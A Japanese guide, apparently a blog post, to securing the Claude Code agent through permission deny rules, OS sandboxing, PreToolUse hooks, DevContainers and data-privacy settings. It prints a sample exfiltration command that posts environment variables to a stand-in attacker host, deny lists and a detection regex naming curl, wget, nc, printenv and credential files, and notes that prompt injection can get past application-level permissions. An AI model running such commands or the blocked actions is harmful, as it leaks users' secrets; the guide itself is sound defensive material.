Claude Codeはターミナル上で動作するAIコーディングエージェントであり、ファイルの読み書き、シェルコマンドの実行、Webリクエストの送信、MCPサーバー経由の外部ツール呼び出しなど、開発者のPC上で広範な操作を自律的に実行します。この強力な能力は生産性を飛躍的に高める一方、適切な制御がなければ機密情報の漏洩やシステム破壊につながるリスクを内包しています。

2025年11月にはAnthropicが、中国政府に関連するとみられる攻撃者がClaude Codeのエージェント機能を悪用し、侵害タスクの80〜90%をAIに自動実行させた事例を公式に報告しました(出典: Anthropic)。AIエージェントのセキュリティ管理は、もはや「あると便利」ではなく業務上の必須事項です。

本記事では、Claude Codeが備えるセキュリティ機能をpermission(権限制御)、sandbox(OS隔離)、hooks(自動監査)、DevContainer(環境分離)の4層に分けて整理し、すぐに導入できる設定例とともに体系的に解説します。

Claude Codeが実行可能な外部操作

Claude Codeは以下の4系統で外部操作を行います。

操作系統具体例リスク
ファイル読み取り・編集Read / Edit / Write / Glob / Grep.envや秘密鍵の読み取り、設定ファイルの意図しない変更
Bashシェル実行npm installgit pushcurlrm -rf任意コマンドの実行、外部へのデータ送信、システム破壊
WebリクエストWebFetch(HTTP/HTTPS)外部サイトへの情報漏洩、悪意あるコンテンツの取得
MCPサーバーGitHub連携、DB操作、Slack通知など外部サービスへの不正操作、認証情報の悪用

特に注意が必要なのはBashシェル実行です。curlwgetを使えばpermissionのdenyルールで読み取りを禁止したファイルの内容さえ、Bash経由で外部に送信できてしまいます。たとえば、プロンプトインジェクション攻撃によって以下のようなコマンドが実行される可能性があります。

# 環境変数を外部に送信する悪意あるコマンドの例
curl -X POST https://attacker.example.com/exfil -d "$(printenv)"

この攻撃はClaude Code自身のpermission設定(deny)だけでは防ぎきれません。そのため、複数の防御層を組み合わせる「多層防御」のアプローチが重要になります。

Permission(権限制御)の仕組みと設定

3段階のツール承認

Claude Codeのパーミッションシステムは、ツールの種類に応じた3段階の承認フローで動作します。

ツール種別具体例承認「今後は聞かない」の挙動
読み取り専用ファイル読み取り、Grep不要
Bashコマンドシェル実行必要プロジェクト+コマンド単位で永続許可
ファイル変更Edit / Write必要セッション終了まで有効

5つの権限モード

settings.jsondefaultModeで権限モードを切り替えられます。

モード用途安全性
default通常利用。初回使用時に承認を求める高い
planコード分析専用。変更・実行は一切不可最も高い
acceptEditsファイル編集の承認をセッション中スキップ中程度
dontAsk事前許可済みのツール以外は自動拒否高い(要事前設定)
bypassPermissions全承認をスキップ。隔離環境専用低い(単独使用は非推奨)

bypassPermissions(CLIの--dangerously-skip-permissionsフラグ)は単独で使用すると、ファイルの削除、システム設定の破壊、機密情報の外部送信など重大なリスクが生じます。Anthropic公式ドキュメントでもコンテナやVM等の隔離環境でのみ使用するよう明記されています。

deny / allow / askルールの評価順序と記法

パーミッションルールはdeny → ask → allowの順に評価され、最初にマッチしたルールが適用されます。denyルールは常に最優先です。

{
  "permissions": {
    "allow": [
      "Bash(npm run *)",
      "Bash(git diff *)",
      "Bash(git status *)",
      "Bash(git log *)",
      "Bash(git commit *)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(wget *)",
      "Bash(rm -rf *)",
      "Bash(git push --force *)",
      "Bash(printenv*)",
      "Bash(env)",
      "Bash(sudo *)",
      "Bash(nc *)",
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Edit(./.env)",
      "Edit(./.env.*)"
    ]
  }
}

Bashルールのワイルドカードに関する注意点があります。Bash(ls *)のようにスペース+*の場合、ls -laにはマッチしますがlsofにはマッチしません。一方Bash(ls*)のようにスペースなしの場合は両方にマッチします。

Read / Editルールのパスパターンはgitignore仕様に準拠しています。

パターン意味
//pathファイルシステムルートからの絶対パスRead(//etc/passwd)
~/pathホームディレクトリからの相対パスRead(~/.ssh/**)
/path設定ファイルの配置場所からの相対パスEdit(/src/**/*.ts)
pathまたは./pathカレントディレクトリからの相対パスRead(.env)

設定ファイルの優先順位

複数の場所に設定ファイルを配置でき、優先順位は以下のとおりです(上が最優先)。

  1. Managed settingsmanaged-settings.json):組織管理者が配置。上書き不可
  2. コマンドライン引数
  3. Local project.claude/settings.local.json):Git管理対象外の個人設定
  4. Shared project.claude/settings.json):Git管理対象のチーム共有設定
  5. User~/.claude/settings.json):全プロジェクト共通のユーザー設定

チームで統一したセキュリティポリシーを適用するには、Shared project設定.claude/settings.json)をリポジトリにコミットするか、IT管理者がManaged settingsを各端末に配置します。

Managed settingsの配置パス:

  • macOS: /Library/Application Support/ClaudeCode/managed-settings.json
  • Linux / WSL: /etc/claude-code/managed-settings.json

Managed settingsでのみ有効な制御項目もあります。

設定キー効果
disableBypassPermissionsMode"disable"--dangerously-skip-permissionsを組織全体で禁止
allowManagedPermissionRulesOnlytrueでuser/project設定からのpermissionルール定義を禁止
allowManagedHooksOnlytrueでmanaged hooks以外のhooks読み込みを禁止

Sandbox(OS隔離)による強制的なアクセス制御

sandboxとpermissionの違い

permissionルール(deny/allow)はClaude Codeのアプリケーション層で評価されるため、プロンプトインジェクションなどでClaude Codeの判断が操作された場合、回避される可能性があります。

sandboxはOSレベルでBashプロセスのファイルアクセスとネットワーク接続を強制的に制限するため、Claude Codeの判断が操作されても物理的にアクセスをブロックします。

防御層対象回避耐性
permission(deny/allow)全ツール(Bash, Read, Edit, WebFetch, MCP等)アプリ層のため、プロンプトインジェクションで回避される可能性あり
sandboxBashコマンドとその子プロセスのみOS層で強制するため、プロンプトインジェクションでは回避不可

両方を組み合わせた多層防御が推奨されています。

有効化と設定

sandboxはClaude Code内で/sandboxコマンドを実行するか、settings.jsonに以下を追加して有効化します。

{
  "sandbox": {
    "enabled": true,
    "autoAllowBashIfSandboxed": true,
    "excludedCommands": ["docker", "git"],
    "allowUnsandboxedCommands": false,
    "network": {
      "allowedDomains": [
        "github.com",
        "*.github.com",
        "registry.npmjs.org",
        "*.npmjs.org",
        "api.anthropic.com"
      ]
    }
  }
}

主要な設定項目の解説は以下のとおりです。

設定キー説明推奨値
enabledsandboxの有効化true
autoAllowBashIfSandboxedsandbox内のBashを自動承認true(sandbox有効時)
excludedCommandssandbox外で実行するコマンド互換性問題のあるツールのみ
allowUnsandboxedCommandsエスケープハッチの許可false(厳格運用時)
network.allowedDomains接続を許可するドメイン必要最小限のドメイン

allowUnsandboxedCommandsfalseに設定すると、sandbox制約で失敗したコマンドのsandbox外での再実行が完全にブロックされます。セキュリティを最優先にする場合に有効です。

OS別の実装技術

OS実装追加インストール
macOSSeatbelt不要(OS組み込み)
Linuxbubblewrapapt-get install bubblewrap socat
WSL2bubblewrap(Linux同様)同上
WSL1非対応

sandboxの保護範囲と限界

ファイルシステム隔離:

  • カレントワーキングディレクトリ配下のみ読み書き可能
  • プロジェクト外のファイルは読み取り専用
  • ~/.bashrc/bin/などシステム設定への書き込みをブロック

ネットワーク隔離:

  • HTTPプロキシおよびSOCKS5プロキシ経由で通信先ドメインを制御
  • allowedDomainsに列挙されたドメインのみ接続を許可
  • 未許可ドメインへの接続はブロックされ、ユーザーに通知

既知の限界:

  • github.comなど広範なドメインを許可するとデータ漏洩経路になりうる
  • ドメインフロンティング手法により、許可済みドメインのTLS接続を悪用して別のサーバーへ通信が転送されるリスクがある
  • UDPプロトコルのフィルタリング対応はプラットフォームにより異なる

Hooks(自動監査)によるリアルタイム防御

hooksはClaude Codeのツール実行前後に自動で起動するカスタムスクリプトです。コマンドの内容を検査し、危険な操作を自動的にブロックできます。競合記事ではあまり取り上げられていませんが、permission設定やsandboxでは対応しきれないケースを補完する重要な防御機能です。

設定例:破壊的コマンドの自動ブロック

settings.jsonにhooksを登録します。

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": ".claude/hooks/guard-bash.sh"
          }
        ]
      }
    ]
  }
}

フックスクリプト(.claude/hooks/guard-bash.sh)でコマンドの内容を判定します。

#!/bin/bash
COMMAND=$(echo "$CLAUDE_TOOL_INPUT" | jq -r '.command')

# 危険パターンの検出
if echo "$COMMAND" | grep -qE 'rm\s+-rf|curl\s+.*exfil|wget.*--post|printenv|>\s*/etc/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Security hook: potentially dangerous command blocked"
    }
  }'
else
  exit 0
fi

hooksが有効なセキュリティ用途

用途hookイベント実装例
破壊的BashコマンドのブロックPreToolUse(matcher: Bash)rm -rfcurl外部送信の検知
機密ファイルへのアクセス監査PostToolUse(matcher: Read).env関連ファイルの読み取りログ記録
設定ファイル変更の検知ConfigChangesettings.json等の変更を管理者に通知
ファイル変更後の自動テストPostToolUse(matcher: Write)コード変更時にlintや型チェックを自動実行

フックスクリプトの終了コードと制御

終了コード動作
0成功。stdoutのJSONで判定結果を返す
2ブロックエラー。stderrの内容をClaudeにフィードバック
その他非ブロックエラー。実行は継続する

PreToolUseフックのJSON出力でpermissionDecision"allow""deny""ask"のいずれかに設定することで、permission評価を上書きできます。

CLAUDE.mdによる行動ルールの定義

CLAUDE.mdファイルにセキュリティルールを明記しておくと、Claude Codeはその指示に従って行動を自制します。permissionのdenyルールはClaude Codeの自動読み取りを防ぎますが、ユーザー自身がファイル内容をプロンプトに貼り付けた場合は無力です。CLAUDE.mdの運用ルールはこの盲点を補います。

## セキュリティルール

### 読み取り・出力を禁止するファイル
- `.env*`(環境変数ファイル全般)
- `**/*.pem`, `**/*.key`(秘密鍵)
- `~/.ssh/`配下の全ファイル
- `~/.aws/`配下の全ファイル

### 禁止コマンド
- `printenv`, `env`(環境変数の出力)
- `curl`, `wget`(外部通信)
- `rm -rf`(再帰的削除)
- `git push --force`(履歴破壊)

### 運用ルール
- `.env`や秘密鍵の内容をプロンプトに含めない
- 変数名や構成の確認にとどめ、値そのものは伝えない(例:「APIキーの環境変数名を教えて」)
- エラーログをClaude Codeに渡す際は、トークンやパスワード部分を`***`に置き換えてから貼る

この設定はリポジトリの.claude/CLAUDE.mdとしてコミットすれば、チーム全体で同じルールを共有できます。

DevContainerによる環境の完全分離

sandbox機能はBashプロセスに対するOS隔離ですが、DevContainerはDockerコンテナ内に開発環境全体を閉じ込めるより強固な分離手段です。

sandboxとDevContainerの使い分け

比較項目sandboxDevContainer
隔離レベルプロセスレベルコンテナレベル
導入の手軽さ/sandboxコマンド一つDockerfile+devcontainer.json構築が必要
ネットワーク制御ドメイン単位の許可リストiptablesベースのファイアウォール
ファイルシステム制御カレントディレクトリ外への書き込み制限コンテナ外への完全な隔離
全承認スキップモードでの運用可能(推奨)可能(推奨)
初回構築コストなし数分〜数十分のビルド時間
適したシーン日常の開発作業長時間の自律実行、機密性の高いプロジェクト

DevContainerの構成

Anthropic公式のDevContainerリファレンス実装(GitHub)は3つのファイルで構成されています。

  • devcontainer.json: コンテナ設定、VS Code拡張、ボリュームマウント
  • Dockerfile: Node.js 20ベースのイメージ、開発ツール(git, ZSH, fzf等)
  • init-firewall.sh: iptablesによるネットワークセキュリティルール

ファイアウォールスクリプトはデフォルト拒否ポリシーでNpmレジストリ、GitHub、Claude APIなどのホワイトリストドメインのみ発信を許可します。

セットアップ手順

  1. VS CodeとRemote - Containers拡張機能をインストール
  2. Anthropic公式の.devcontainerディレクトリをプロジェクトにコピー
  3. VS Codeでプロジェクトを開く
  4. 「Reopen in Container」を選択(コマンドパレットからも実行可)

DevContainerの注意点

DevContainerでも完全なセキュリティは保証されません。--dangerously-skip-permissionsで実行した場合、悪意のあるプロジェクトがDevContainer内でアクセス可能な全情報(Claude Codeの認証情報を含む)を外部に送信するリスクは残ります。利用するリポジトリの安全性を事前に確認し、出所が不明なプロジェクトでは使用を避けてください。

Git操作のために.sshディレクトリをマウントする場合、コンテナ内のプロセスがSSH秘密鍵にアクセス可能になる点にも注意が必要です。

データ学習とプライバシーのオプトアウト

Claude Codeで扱うコードはAnthropicのサーバーに送信されます。契約プランによってデータの学習利用ポリシーが異なるため、利用開始前に確認が必要です。

契約タイプ別のデータポリシー

契約タイプ学習利用のデフォルトデータ保持期間
Free / Pro / Max(Consumer)ユーザー設定に依存(選択可)許可時: 5年、拒否時: 30日
Team / Enterprise / API(Commercial)学習に使用しない30日(ゼロ保持オプションあり)

Consumer向け学習オプトアウト手順

  1. claude.ai/settings/data-privacy-controls にアクセス
  2. 「モデル改善のためにデータを使用する」をオフに設定

この設定をオフにしても、サーバーには最大30日間のログが保持される点に留意してください。また、Trust & Safetyチームによるレビュー対象となったデータは、利用規約に基づきより長期間保持される場合があります。

テレメトリ・エラーレポートの無効化

以下の環境変数でClaude Codeのデータ送信をさらに制限できます。

# 全ての非必須通信を一括無効化
export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1

# 個別に無効化する場合
export DISABLE_TELEMETRY=1                       # Statsigテレメトリ
export DISABLE_ERROR_REPORTING=1                  # Sentryエラーレポート
export DISABLE_BUG_COMMAND=1                      # /bugコマンド
export CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1      # セッション品質調査

Vertex AI、Amazon Bedrock、Foundry経由で利用する場合、テレメトリとエラーレポートはデフォルトで無効になっています。

チーム・企業利用でのセキュリティ運用

STRIDE脅威モデルに基づく対策マッピング

企業でClaude Codeを導入する際は、セキュリティ脅威を体系的に評価することが重要です。STRIDE分類に沿った対策例を示します。

脅威カテゴリClaude Codeでの具体例対策
なりすまし(Spoofing)他者がAPIキーを悪用.mcp.jsonにシークレットを直接記載せず環境変数を使用
改ざん(Tampering)重要コードの誤編集・削除Gitリモートへの定期push、mainブランチへの直接push禁止
否認(Repudiation)誰がファイルを消したか不明リモートリポジトリ管理、コマンド実行履歴の保持
情報漏洩(Information Disclosure)機密ファイルの外部送信sandbox有効化、denyルール、DevContainerのネットワーク制限
サービス妨害(Denial of Service)無限ループでCPU枯渇コンテナやVMでリソースを分離
権限昇格(Elevation of Privilege)禁止コマンドの実行settings.jsonでdenyルールを設定、OSユーザー権限の制限

企業向けManaged settingsの導入例

組織管理者が端末に配置するmanaged-settings.jsonの例です。

{
  "permissions": {
    "deny": [
      "Bash(curl *)",
      "Bash(wget *)",
      "Bash(nc *)",
      "Bash(rm -rf *)",
      "Bash(sudo *)",
      "Bash(ssh *)",
      "Bash(scp *)",
      "Bash(git push --force *)",
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(**/*.p12)",
      "WebFetch"
    ],
    "defaultMode": "default"
  },
  "sandbox": {
    "enabled": true,
    "autoAllowBashIfSandboxed": true,
    "allowUnsandboxedCommands": false,
    "network": {
      "allowedDomains": [
        "github.com",
        "*.github.com",
        "registry.npmjs.org",
        "api.anthropic.com"
      ]
    }
  },
  "disableBypassPermissionsMode": "disable",
  "allowManagedPermissionRulesOnly": true
}

このファイルをLinuxでは/etc/claude-code/managed-settings.json、macOSでは/Library/Application Support/ClaudeCode/managed-settings.jsonに配置します。allowManagedPermissionRulesOnlytrueにすることで、個人やプロジェクトの設定によるpermissionルールの追加・変更を禁止できます。

防御レベル別の設定比較

利用シーンに応じた防御レベルの目安をまとめます。

防御レベル構成適したシーン
最低限permission(deny/allow)のみ個人の趣味プロジェクト
標準permission + sandbox + CLAUDE.md個人〜小規模チームの業務利用
堅牢permission + sandbox + hooks + CLAUDE.md機密情報を扱う企業プロジェクト
最高Managed settings + sandbox + hooks + DevContainerエンタープライズ、規制対象業務

いずれのレベルでも、Consumer契約の場合は学習オプトアウト設定を最初に確認することが前提です。

Claude Code導入時の安全確認リスト

Claude Codeを業務で使い始める前に押さえておくべき設定項目を整理します。

1. データプライバシー

  • 契約タイプ(Consumer / Commercial)を確認
  • Consumer契約の場合、学習オプトアウトを設定
  • 必要に応じてテレメトリを無効化

2. Permission設定

  • .env、秘密鍵、認証情報ファイルのRead/Editをdenyに追加
  • curlwgetprintenvなどのBashコマンドをdenyに追加
  • 安全なコマンド(npm run *git diff *など)をallowに追加
  • チーム共有設定を.claude/settings.jsonにコミット

3. Sandbox

  • sandbox.enabledtrueに設定
  • allowedDomainsを必要最小限に絞り込み
  • 厳格運用ではallowUnsandboxedCommandsfalseに設定

4. Hooks(任意)

  • 破壊的コマンドを検知するPreToolUseフックを追加
  • 機密ファイルアクセスの監査ログを設定

5. 運用ルール

  • CLAUDE.mdにセキュリティルールを記載
  • 機密情報をプロンプトに直接貼り付けないルールを周知
  • ログ貼り付け前のマスキング手順を整備

まとめ

Claude Codeはファイル操作からシェル実行、Webアクセスまで幅広い外部操作を自律的に行えるAIエージェントです。この強力な能力を安全に活用するには、単一の防御策に頼るのではなく、以下の4層を組み合わせた多層防御が有効です。

  • Permission(権限制御): deny/allow/askルールでツール使用を制御するアプリケーション層の防御
  • Sandbox(OS隔離): bubblewrapやSeatbeltによるOS層でのファイル・ネットワーク強制制限
  • Hooks(自動監査): ツール実行前にカスタムスクリプトで危険な操作をリアルタイムに検知・遮断
  • DevContainer(環境分離): Dockerコンテナによる開発環境全体のネットワーク・ファイルシステム隔離

加えて、CLAUDE.mdへの運用ルール記載とデータ学習のオプトアウト設定により、人的ミスとプライバシーリスクの両方をカバーできます。

Claude Codeのセキュリティ設定は、公式のsettings.json例がGitHubリポジトリで公開されています。まずはdenyルールの追加とsandboxの有効化から始め、チームの運用に合わせて段階的に強化していくのが実践的なアプローチです。